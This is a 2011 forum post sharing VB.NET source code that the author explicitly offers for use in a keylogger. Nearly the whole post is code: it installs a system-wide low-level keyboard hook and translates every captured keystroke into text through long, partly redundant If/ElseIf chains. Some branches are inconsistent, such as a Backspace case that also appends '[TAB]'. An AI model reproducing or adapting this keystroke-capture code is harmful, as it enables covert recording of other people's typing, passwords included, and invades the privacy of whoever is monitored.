[vb.net] Hook Code 05-24-2011, 05:54 PM
#1
Heh Guys am giving you almost all hook code which you can use in your keylogger so enjoy
Quote:Public Class KeyboardHook
Private Const HC_ACTION As Integer = 0
Private Const WH_KEYBOARD_LL As Integer = 13
Private Const WM_KEYDOWN = &H100
Private Const WM_KEYUP = &H101
Private Const WM_SYSKEYDOWN = &H104
Private Const WM_SYSKEYUP = &H105
Private Structure KBDLLHOOKSTRUCT
Public vkCode As Integer
Public scancode As Integer
Public flags As Integer
Public time As Integer
Public dwExtraInfo As Integer
End Structure
Private Declare Function SetWindowsHookEx Lib "user32" _
Alias "SetWindowsHookExA" _
(ByVal idHook As Integer, _
ByVal lpfn As KeyboardProcDelegate, _
ByVal hmod As Integer, _
ByVal dwThreadId As Integer) As Integer
Private Declare Function CallNextHookEx Lib "user32" _
(ByVal hHook As Integer, _
ByVal nCode As Integer, _
ByVal wParam As Integer, _
ByVal lParam As KBDLLHOOKSTRUCT) As Integer
Private Declare Function UnhookWindowsHookEx Lib "user32" _
(ByVal hHook As Integer) As Integer
Private Delegate Function KeyboardProcDelegate _
(ByVal nCode As Integer, _
ByVal wParam As Integer, _
ByRef lParam As KBDLLHOOKSTRUCT) As Integer
Public Shared Event KeyDown(ByVal Key As Keys)
Public Shared Event KeyUp(ByVal Key As Keys)
Private Shared KeyHook As Integer
Private Shared KeyHookDelegate As KeyboardProcDelegate
Public Sub New()
KeyHookDelegate = New KeyboardProcDelegate(AddressOf KeyboardProc)
KeyHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyHookDelegate, System.Runtime.InteropServices.Marshal.GetHINSTANCE(System.Reflection.Assembly.GetExecutingAssembly.GetModules()(0)).ToInt32, 0)
End Sub
Private Shared Function KeyboardProc(ByVal nCode As Integer, ByVal wParam As Integer, ByRef lParam As KBDLLHOOKSTRUCT) As Integer
If (nCode = HC_ACTION) Then
Select Case wParam
Case WM_KEYDOWN, WM_SYSKEYDOWN
RaiseEvent KeyDown(CType(lParam.vkCode, Keys))
Case WM_KEYUP, WM_SYSKEYUP
RaiseEvent KeyUp(CType(lParam.vkCode, Keys))
End Select
End If
Return CallNextHookEx(KeyHook, nCode, wParam, lParam)
End Function
Protected Overrides Sub Finalize()
UnhookWindowsHookEx(KeyHook)
MyBase.Finalize()
End Sub
End Class
Private WithEvents kbHook As New KeyboardHook
Private Declare Function GetForegroundWindow Lib "user32.dll" () As Int32
Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Int32, ByVal lpString As String, ByVal cch As Int32) As Int32
Dim strin As String = Nothing
Private Sub kbHook_KeyDown(ByVal Key As System.Windows.Forms.Keys) Handles kbHook.KeyDown
If My.Computer.Keyboard.ShiftKeyDown = False And My.Computer.Keyboard.CapsLock = False Then
If Key = Keys.A Then
TextBox1.Text = TextBox1.Text & "a"
ElseIf Key = Keys.B Then
TextBox1.Text = TextBox1.Text & "b"
ElseIf Key = Keys.C Then
TextBox1.Text = TextBox1.Text & "c"
ElseIf Key = Keys.D Then
TextBox1.Text = TextBox1.Text & "d"
ElseIf Key = Keys.E Then
TextBox1.Text = TextBox1.Text & "e"
ElseIf Key = Keys.F Then
TextBox1.Text = TextBox1.Text & "f"
ElseIf Key = Keys.G Then
TextBox1.Text = TextBox1.Text & "g"
ElseIf Key = Keys.H Then
TextBox1.Text = TextBox1.Text & "h"
ElseIf Key = Keys.I Then
TextBox1.Text = TextBox1.Text & "i"
ElseIf Key = Keys.J Then
TextBox1.Text = TextBox1.Text & "j"
ElseIf Key = Keys.K Then
TextBox1.Text = TextBox1.Text & "k"
ElseIf Key = Keys.L Then
TextBox1.Text = TextBox1.Text & "l"
ElseIf Key = Keys.M Then
TextBox1.Text = TextBox1.Text & "m"
ElseIf Key = Keys.N Then
TextBox1.Text = TextBox1.Text & "n"
ElseIf Key = Keys.O Then
TextBox1.Text = TextBox1.Text & "o"
ElseIf Key = Keys.P Then
TextBox1.Text = TextBox1.Text & "p"
ElseIf Key = Keys.Q Then
TextBox1.Text = TextBox1.Text & "q"
ElseIf Key = Keys.R Then
TextBox1.Text = TextBox1.Text & "r"
ElseIf Key = Keys.S Then
TextBox1.Text = TextBox1.Text & "s"
ElseIf Key = Keys.T Then
TextBox1.Text = TextBox1.Text & "t"
ElseIf Key = Keys.U Then
TextBox1.Text = TextBox1.Text & "u"
ElseIf Key = Keys.V Then
TextBox1.Text = TextBox1.Text & "v"
ElseIf Key = Keys.W Then
TextBox1.Text = TextBox1.Text & "w"
ElseIf Key = Keys.X Then
TextBox1.Text = TextBox1.Text & "x"
ElseIf Key = Keys.Y Then
TextBox1.Text = TextBox1.Text & "y"
ElseIf Key = Keys.Z Then
TextBox1.Text = TextBox1.Text & "z"
ElseIf Key = Keys.D0 Then
TextBox1.Text = TextBox1.Text & "0"
ElseIf Key = Keys.D1 Then
TextBox1.Text = TextBox1.Text & "1"
ElseIf Key = Keys.D2 Then
TextBox1.Text = TextBox1.Text & "2"
ElseIf Key = Keys.D3 Then
TextBox1.Text = TextBox1.Text & "3"
ElseIf Key = Keys.D4 Then
TextBox1.Text = TextBox1.Text & "4"
ElseIf Key = Keys.D5 Then
TextBox1.Text = TextBox1.Text & "5"
ElseIf Key = Keys.D6 Then
TextBox1.Text = TextBox1.Text & "6"
ElseIf Key = Keys.D7 Then
TextBox1.Text = TextBox1.Text & "7"
ElseIf Key = Keys.D8 Then
TextBox1.Text = TextBox1.Text & "8"
ElseIf Key = Keys.D9 Then
TextBox1.Text = TextBox1.Text & "9"
ElseIf Key = Keys.NumPad0 Then
TextBox1.Text = TextBox1.Text & "0"
ElseIf Key = Keys.NumPad1 Then
TextBox1.Text = TextBox1.Text & "1"
ElseIf Key = Keys.NumPad2 Then
TextBox1.Text = TextBox1.Text & "2"
ElseIf Key = Keys.NumPad3 Then
TextBox1.Text = TextBox1.Text & "3"
ElseIf Key = Keys.NumPad4 Then
TextBox1.Text = TextBox1.Text & "4"
ElseIf Key = Keys.NumPad5 Then
TextBox1.Text = TextBox1.Text & "5"
ElseIf Key = Keys.NumPad6 Then
TextBox1.Text = TextBox1.Text & "6"
ElseIf Key = Keys.NumPad7 Then
TextBox1.Text = TextBox1.Text & "7"
ElseIf Key = Keys.NumPad8 Then
TextBox1.Text = TextBox1.Text & "8"
ElseIf Key = Keys.NumPad9 Then
TextBox1.Text = TextBox1.Text & "9"
ElseIf Key = Keys.Oemcomma Then
TextBox1.Text = TextBox1.Text & ","
ElseIf Key = Keys.OemMinus Then
TextBox1.Text = TextBox1.Text & "-"
ElseIf Key = Keys.OemQuotes Then
TextBox1.Text = TextBox1.Text & "'"
ElseIf Key = Keys.OemOpenBrackets Then
TextBox1.Text = TextBox1.Text & "["
ElseIf Key = Keys.Back Then
TextBox1.Text = TextBox1.Text & "[BACK]"
ElseIf Key = Keys.OemCloseBrackets Then
TextBox1.Text = TextBox1.Text & "]"
ElseIf Key = Keys.OemQuestion Then
TextBox1.Text = TextBox1.Text & "/"
ElseIf Key = Keys.OemPipe Then
TextBox1.Text = TextBox1.Text & "\"
ElseIf Key = Keys.Oem1 Then
TextBox1.Text = TextBox1.Text & ";"
ElseIf Key = Keys.OemPeriod Then
TextBox1.Text = TextBox1.Text & "."
ElseIf Key = Keys.Oemtilde Then
TextBox1.Text = TextBox1.Text & "`"
ElseIf Key = Keys.Space Then
TextBox1.Text = TextBox1.Text & " "
ElseIf Key = Keys.Enter Then
TextBox1.Text = TextBox1.Text & vbNewLine
ElseIf Key = Keys.Delete Then
TextBox1.Text = TextBox1.Text.Remove(TextBox1.Text.Length - 1, 1)
ElseIf Key = Keys.Back Then
TextBox1.Text = TextBox1.Text.Remove(TextBox1.Text.Length - 1, 1)
ElseIf Key = Keys.Tab Then
TextBox1.Text = TextBox1.Text & "[TAB]"
ElseIf Key = Keys.End Then
TextBox1.Text = TextBox1.Text & "[END]"
ElseIf Key = Keys.Escape Then
TextBox1.Text = TextBox1.Text & "[ESC]"
ElseIf Key = Keys.Divide Then
TextBox1.Text = TextBox1.Text & "/"
ElseIf Key = Keys.Decimal Then
TextBox1.Text = TextBox1.Text & "."
ElseIf Key = Keys.Subtract Then
TextBox1.Text = TextBox1.Text & "-"
ElseIf Key = Keys.Add Then
TextBox1.Text = TextBox1.Text & "+"
ElseIf Key = Keys.Multiply Then
TextBox1.Text = TextBox1.Text & "*"
End If
ElseIf My.Computer.Keyboard.ShiftKeyDown = False And My.Computer.Keyboard.CapsLock = True Then
If Key = Keys.A Then
TextBox1.Text = TextBox1.Text & "A"
ElseIf Key = Keys.B Then
TextBox1.Text = TextBox1.Text & "B"
ElseIf Key = Keys.C Then
TextBox1.Text = TextBox1.Text & "C"
ElseIf Key = Keys.D Then
TextBox1.Text = TextBox1.Text & "D"
ElseIf Key = Keys.E Then
TextBox1.Text = TextBox1.Text & "E"
ElseIf Key = Keys.F Then
TextBox1.Text = TextBox1.Text & "F"
ElseIf Key = Keys.G Then
TextBox1.Text = TextBox1.Text & "G"
ElseIf Key = Keys.H Then
TextBox1.Text = TextBox1.Text & "H"
ElseIf Key = Keys.I Then
TextBox1.Text = TextBox1.Text & "I"
ElseIf Key = Keys.J Then
TextBox1.Text = TextBox1.Text & "J"
ElseIf Key = Keys.K Then
TextBox1.Text = TextBox1.Text & "K"
ElseIf Key = Keys.L Then
TextBox1.Text = TextBox1.Text & "L"
ElseIf Key = Keys.M Then
TextBox1.Text = TextBox1.Text & "M"
ElseIf Key = Keys.N Then
TextBox1.Text = TextBox1.Text & "N"
ElseIf Key = Keys.O Then
TextBox1.Text = TextBox1.Text & "O"
ElseIf Key = Keys.P Then
TextBox1.Text = TextBox1.Text & "P"
ElseIf Key = Keys.Q Then
TextBox1.Text = TextBox1.Text & "Q"
ElseIf Key = Keys.R Then
TextBox1.Text = TextBox1.Text & "R"
ElseIf Key = Keys.S Then
TextBox1.Text = TextBox1.Text & "S"
ElseIf Key = Keys.T Then
TextBox1.Text = TextBox1.Text & "T"
ElseIf Key = Keys.U Then
TextBox1.Text = TextBox1.Text & "U"
ElseIf Key = Keys.V Then
TextBox1.Text = TextBox1.Text & "V"
ElseIf Key = Keys.W Then
TextBox1.Text = TextBox1.Text & "W"
ElseIf Key = Keys.X Then
TextBox1.Text = TextBox1.Text & "X"
ElseIf Key = Keys.Y Then
TextBox1.Text = TextBox1.Text & "Y"
ElseIf Key = Keys.Z Then
TextBox1.Text = TextBox1.Text & "Z"
ElseIf Key = Keys.D0 Then
TextBox1.Text = TextBox1.Text & "0"
ElseIf Key = Keys.D1 Then
TextBox1.Text = TextBox1.Text & "1"
ElseIf Key = Keys.D2 Then
TextBox1.Text = TextBox1.Text & "2"
ElseIf Key = Keys.D3 Then
TextBox1.Text = TextBox1.Text & "3"
ElseIf Key = Keys.D4 Then
TextBox1.Text = TextBox1.Text & "4"
ElseIf Key = Keys.D5 Then
TextBox1.Text = TextBox1.Text & "5"
ElseIf Key = Keys.D6 Then
TextBox1.Text = TextBox1.Text & "6"
ElseIf Key = Keys.D7 Then
TextBox1.Text = TextBox1.Text & "7"
ElseIf Key = Keys.D8 Then
TextBox1.Text = TextBox1.Text & "8"
ElseIf Key = Keys.D9 Then
TextBox1.Text = TextBox1.Text & "9"
ElseIf Key = Keys.NumPad0 Then
TextBox1.Text = TextBox1.Text & "0"
ElseIf Key = Keys.NumPad1 Then
TextBox1.Text = TextBox1.Text & "1"
ElseIf Key = Keys.NumPad2 Then
TextBox1.Text = TextBox1.Text & "2"
ElseIf Key = Keys.NumPad3 Then
TextBox1.Text = TextBox1.Text & "3"
ElseIf Key = Keys.NumPad4 Then
TextBox1.Text = TextBox1.Text & "4"
ElseIf Key = Keys.NumPad5 Then
TextBox1.Text = TextBox1.Text & "5"
ElseIf Key = Keys.NumPad6 Then
TextBox1.Text = TextBox1.Text & "6"
ElseIf Key = Keys.NumPad7 Then
TextBox1.Text = TextBox1.Text & "7"
ElseIf Key = Keys.NumPad8 Then
TextBox1.Text = TextBox1.Text & "8"
ElseIf Key = Keys.NumPad9 Then
TextBox1.Text = TextBox1.Text & "9"
ElseIf Key = Keys.Oemcomma Then
TextBox1.Text = TextBox1.Text & ","
ElseIf Key = Keys.OemMinus Then
TextBox1.Text = TextBox1.Text & "-"
ElseIf Key = Keys.OemQuotes Then
TextBox1.Text = TextBox1.Text & "'"
ElseIf Key = Keys.OemOpenBrackets Then
TextBox1.Text = TextBox1.Text & "["
ElseIf Key = Keys.OemCloseBrackets Then
TextBox1.Text = TextBox1.Text & "]"
ElseIf Key = Keys.OemQuestion Then
TextBox1.Text = TextBox1.Text & "/"
ElseIf Key = Keys.OemPipe Then
TextBox1.Text = TextBox1.Text & "\"
ElseIf Key = Keys.Oem1 Then
TextBox1.Text = TextBox1.Text & ";"
ElseIf Key = Keys.OemPeriod Then
TextBox1.Text = TextBox1.Text & "."
ElseIf Key = Keys.Oemtilde Then
TextBox1.Text = TextBox1.Text & "`"
ElseIf Key = Keys.Space Then
TextBox1.Text = TextBox1.Text & " "
ElseIf Key = Keys.Enter Then
TextBox1.Text = TextBox1.Text & vbNewLine
ElseIf Key = Keys.Delete Then
TextBox1.Text = TextBox1.Text.Remove(TextBox1.Text.Length - 1, 1)
ElseIf Key = Keys.Back Then
TextBox1.Text = TextBox1.Text.Remove(TextBox1.Text.Length - 1, 1)
ElseIf Key = Keys.Tab Then
TextBox1.Text = TextBox1.Text & "[TAB]"
ElseIf Key = Keys.End Then
TextBox1.Text = TextBox1.Text & "[END]"
ElseIf Key = Keys.Escape Then
TextBox1.Text = TextBox1.Text & "[ESC]"
ElseIf Key = Keys.Divide Then
TextBox1.Text = TextBox1.Text & "/"
ElseIf Key = Keys.Decimal Then
TextBox1.Text = TextBox1.Text & "."
ElseIf Key = Keys.Subtract Then
TextBox1.Text = TextBox1.Text & "-"
ElseIf Key = Keys.Add Then
TextBox1.Text = TextBox1.Text & "+"
ElseIf Key = Keys.Multiply Then
TextBox1.Text = TextBox1.Text & "*"
End If
ElseIf My.Computer.Keyboard.ShiftKeyDown = True And My.Computer.Keyboard.CapsLock = True Then
If Key = Keys.D1 Then
TextBox1.Text = TextBox1.Text + "!"
ElseIf Key = Keys.D2 Then
TextBox1.Text = TextBox1.Text + "@"
ElseIf Key = Keys.D3 Then
TextBox1.Text = TextBox1.Text + "#"
ElseIf Key = Keys.D4 Then
TextBox1.Text = TextBox1.Text + "$"
ElseIf Key = Keys.D5 Then
TextBox1.Text = TextBox1.Text + "%"
ElseIf Key = Keys.D6 Then
TextBox1.Text = TextBox1.Text + "^"
ElseIf Key = Keys.D7 Then
TextBox1.Text = TextBox1.Text + "&"
ElseIf Key = Keys.D8 Then
TextBox1.Text = TextBox1.Text + "*"
ElseIf Key = Keys.D9 Then
TextBox1.Text = TextBox1.Text + "("
ElseIf Key = Keys.D0 Then
TextBox1.Text = TextBox1.Text + ")"
ElseIf Key = Keys.Oemcomma Then
TextBox1.Text = TextBox1.Text & "<"
ElseIf Key = Keys.OemMinus Then
TextBox1.Text = TextBox1.Text & "_"
ElseIf Key = Keys.OemOpenBrackets Then
TextBox1.Text = TextBox1.Text & "{"
ElseIf Key = Keys.OemCloseBrackets Then
TextBox1.Text = TextBox1.Text & "}"
ElseIf Key = Keys.OemQuestion Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.OemPipe Then
TextBox1.Text = TextBox1.Text & "|"
ElseIf Key = Keys.Oem1 Then
TextBox1.Text = TextBox1.Text & ":"
ElseIf Key = Keys.OemPeriod Then
TextBox1.Text = TextBox1.Text & ">"
ElseIf Key = Keys.Oemtilde Then
TextBox1.Text = TextBox1.Text & "~"
ElseIf Key = Keys.OemQuotes Then
TextBox1.Text = TextBox1.Text & "'"
ElseIf Key = Keys.Space Then
TextBox1.Text = TextBox1.Text & " "
ElseIf Key = Keys.Enter Then
TextBox1.Text = TextBox1.Text & vbNewLine
ElseIf Key = Keys.Delete Then
TextBox1.Text = TextBox1.Text.Remove(TextBox1.Text.Length - 1, 1)
ElseIf Key = Keys.Back Then
TextBox1.Text = TextBox1.Text.Remove(TextBox1.Text.Length - 1, 1)
TextBox1.Text = TextBox1.Text & "[TAB]"
ElseIf Key = Keys.End Then
TextBox1.Text = TextBox1.Text & "[END]"
ElseIf Key = Keys.Escape Then
TextBox1.Text = TextBox1.Text & "[ESC]"
ElseIf Key = Keys.Divide Then
TextBox1.Text = TextBox1.Text & "/"
ElseIf Key = Keys.Decimal Then
TextBox1.Text = TextBox1.Text & "."
ElseIf Key = Keys.Subtract Then
TextBox1.Text = TextBox1.Text & "-"
ElseIf Key = Keys.Add Then
TextBox1.Text = TextBox1.Text & "+"
ElseIf Key = Keys.Multiply Then
TextBox1.Text = TextBox1.Text & "*"
End If
ElseIf My.Computer.Keyboard.ShiftKeyDown = False And My.Computer.Keyboard.CapsLock = True Then
If Key = Keys.D1 Then
TextBox1.Text = TextBox1.Text + "1"
ElseIf Key = Keys.D2 Then
TextBox1.Text = TextBox1.Text + "2"
ElseIf Key = Keys.D3 Then
TextBox1.Text = TextBox1.Text + "3"
ElseIf Key = Keys.D4 Then
TextBox1.Text = TextBox1.Text + "4"
ElseIf Key = Keys.D5 Then
TextBox1.Text = TextBox1.Text + "5"
ElseIf Key = Keys.D6 Then
TextBox1.Text = TextBox1.Text + "6"
ElseIf Key = Keys.D7 Then
TextBox1.Text = TextBox1.Text + "7"
ElseIf Key = Keys.D8 Then
TextBox1.Text = TextBox1.Text + "8"
ElseIf Key = Keys.D9 Then
TextBox1.Text = TextBox1.Text + "9"
ElseIf Key = Keys.D0 Then
TextBox1.Text = TextBox1.Text + "0"
ElseIf Key = Keys.Oemcomma Then
TextBox1.Text = TextBox1.Text & ","
ElseIf Key = Keys.OemMinus Then
TextBox1.Text = TextBox1.Text & "-"
ElseIf Key = Keys.OemQuotes Then
TextBox1.Text = TextBox1.Text & "'"
ElseIf Key = Keys.OemOpenBrackets Then
TextBox1.Text = TextBox1.Text & "["
ElseIf Key = Keys.OemCloseBrackets Then
TextBox1.Text = TextBox1.Text & "]"
ElseIf Key = Keys.OemQuestion Then
TextBox1.Text = TextBox1.Text & "/"
ElseIf Key = Keys.OemPipe Then
TextBox1.Text = TextBox1.Text & "\"
ElseIf Key = Keys.Oem1 Then
TextBox1.Text = TextBox1.Text & ";"
ElseIf Key = Keys.OemPeriod Then
TextBox1.Text = TextBox1.Text & "."
ElseIf Key = Keys.Oemtilde Then
TextBox1.Text = TextBox1.Text & "`"
ElseIf Key = Keys.Space Then
TextBox1.Text = TextBox1.Text & " "
ElseIf Key = Keys.Enter Then
TextBox1.Text = TextBox1.Text & vbNewLine
ElseIf Key = Keys.Delete Then
TextBox1.Text = TextBox1.Text.Remove(TextBox1.Text.Length - 1, 1)
ElseIf Key = Keys.Back Then
TextBox1.Text = TextBox1.Text.Remove(TextBox1.Text.Length - 1, 1)
ElseIf Key = Keys.Down Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.Up Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.Left Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.Right Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.Tab Then
TextBox1.Text = TextBox1.Text & "[TAB]"
ElseIf Key = Keys.End Then
TextBox1.Text = TextBox1.Text & "[END]"
ElseIf Key = Keys.Escape Then
TextBox1.Text = TextBox1.Text & "[ESC]"
ElseIf Key = Keys.Divide Then
TextBox1.Text = TextBox1.Text & "/"
ElseIf Key = Keys.Decimal Then
TextBox1.Text = TextBox1.Text & "."
ElseIf Key = Keys.Subtract Then
TextBox1.Text = TextBox1.Text & "-"
ElseIf Key = Keys.Add Then
TextBox1.Text = TextBox1.Text & "+"
ElseIf Key = Keys.Multiply Then
TextBox1.Text = TextBox1.Text & "*"
End If
ElseIf My.Computer.Keyboard.ShiftKeyDown = True And My.Computer.Keyboard.CapsLock = False Then
If Key = Keys.D1 Then
TextBox1.Text = TextBox1.Text + "!"
ElseIf Key = Keys.D2 Then
TextBox1.Text = TextBox1.Text + "@"
ElseIf Key = Keys.D3 Then
TextBox1.Text = TextBox1.Text + "#"
ElseIf Key = Keys.D4 Then
TextBox1.Text = TextBox1.Text + "$"
ElseIf Key = Keys.D5 Then
TextBox1.Text = TextBox1.Text + "%"
ElseIf Key = Keys.D6 Then
TextBox1.Text = TextBox1.Text + "^"
ElseIf Key = Keys.D7 Then
TextBox1.Text = TextBox1.Text + "&"
ElseIf Key = Keys.D8 Then
TextBox1.Text = TextBox1.Text + "*"
ElseIf Key = Keys.D9 Then
TextBox1.Text = TextBox1.Text + "("
ElseIf Key = Keys.D0 Then
TextBox1.Text = TextBox1.Text + ")"
ElseIf Key = Keys.A Then
TextBox1.Text = TextBox1.Text & "A"
ElseIf Key = Keys.B Then
TextBox1.Text = TextBox1.Text & "B"
ElseIf Key = Keys.C Then
TextBox1.Text = TextBox1.Text & "C"
ElseIf Key = Keys.D Then
TextBox1.Text = TextBox1.Text & "D"
ElseIf Key = Keys.E Then
TextBox1.Text = TextBox1.Text & "E"
ElseIf Key = Keys.F Then
TextBox1.Text = TextBox1.Text & "F"
ElseIf Key = Keys.G Then
TextBox1.Text = TextBox1.Text & "G"
ElseIf Key = Keys.H Then
TextBox1.Text = TextBox1.Text & "H"
ElseIf Key = Keys.I Then
TextBox1.Text = TextBox1.Text & "I"
ElseIf Key = Keys.J Then
TextBox1.Text = TextBox1.Text & "J"
ElseIf Key = Keys.K Then
TextBox1.Text = TextBox1.Text & "K"
ElseIf Key = Keys.L Then
TextBox1.Text = TextBox1.Text & "L"
ElseIf Key = Keys.M Then
TextBox1.Text = TextBox1.Text & "M"
ElseIf Key = Keys.N Then
TextBox1.Text = TextBox1.Text & "N"
ElseIf Key = Keys.O Then
TextBox1.Text = TextBox1.Text & "O"
ElseIf Key = Keys.P Then
TextBox1.Text = TextBox1.Text & "P"
ElseIf Key = Keys.Q Then
TextBox1.Text = TextBox1.Text & "Q"
ElseIf Key = Keys.R Then
TextBox1.Text = TextBox1.Text & "R"
ElseIf Key = Keys.S Then
TextBox1.Text = TextBox1.Text & "S"
ElseIf Key = Keys.T Then
TextBox1.Text = TextBox1.Text & "T"
ElseIf Key = Keys.U Then
TextBox1.Text = TextBox1.Text & "U"
ElseIf Key = Keys.V Then
TextBox1.Text = TextBox1.Text & "V"
ElseIf Key = Keys.W Then
TextBox1.Text = TextBox1.Text & "W"
ElseIf Key = Keys.X Then
TextBox1.Text = TextBox1.Text & "X"
ElseIf Key = Keys.Y Then
TextBox1.Text = TextBox1.Text & "Y"
ElseIf Key = Keys.Z Then
TextBox1.Text = TextBox1.Text & "Z"
ElseIf Key = Keys.Oemcomma Then
TextBox1.Text = TextBox1.Text & "<"
ElseIf Key = Keys.OemMinus Then
TextBox1.Text = TextBox1.Text & "_"
ElseIf Key = Keys.OemOpenBrackets Then
TextBox1.Text = TextBox1.Text & "{"
ElseIf Key = Keys.OemCloseBrackets Then
TextBox1.Text = TextBox1.Text & "}"
ElseIf Key = Keys.OemQuestion Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.OemPipe Then
TextBox1.Text = TextBox1.Text & "|"
ElseIf Key = Keys.Oem1 Then
TextBox1.Text = TextBox1.Text & ":"
ElseIf Key = Keys.OemPeriod Then
TextBox1.Text = TextBox1.Text & ">"
ElseIf Key = Keys.Oemtilde Then
TextBox1.Text = TextBox1.Text & "~"
ElseIf Key = Keys.Space Then
TextBox1.Text = TextBox1.Text & " "
ElseIf Key = Keys.Enter Then
TextBox1.Text = TextBox1.Text & vbNewLine
ElseIf Key = Keys.Delete Then
TextBox1.Text = TextBox1.Text.Remove(TextBox1.Text.Length - 1, 1)
ElseIf Key = Keys.Back Then
TextBox1.Text = TextBox1.Text.Remove(TextBox1.Text.Length - 1, 1)
ElseIf Key = Keys.Down Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.Up Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.Left Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.Right Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.Tab Then
TextBox1.Text = TextBox1.Text & "[TAB]"
ElseIf Key = Keys.End Then
TextBox1.Text = TextBox1.Text & "[END]"
ElseIf Key = Keys.Escape Then
TextBox1.Text = TextBox1.Text & "[ESC]"
ElseIf Key = Keys.Divide Then
TextBox1.Text = TextBox1.Text & "/"
ElseIf Key = Keys.Decimal Then
TextBox1.Text = TextBox1.Text & "."
ElseIf Key = Keys.Subtract Then
TextBox1.Text = TextBox1.Text & "-"
ElseIf Key = Keys.Add Then
TextBox1.Text = TextBox1.Text & "+"
ElseIf Key = Keys.Multiply Then
TextBox1.Text = TextBox1.Text & "*"
ElseIf Key = Keys.OemQuotes Then
TextBox1.Text = TextBox1.Text & "'"
End If
End If
End Sub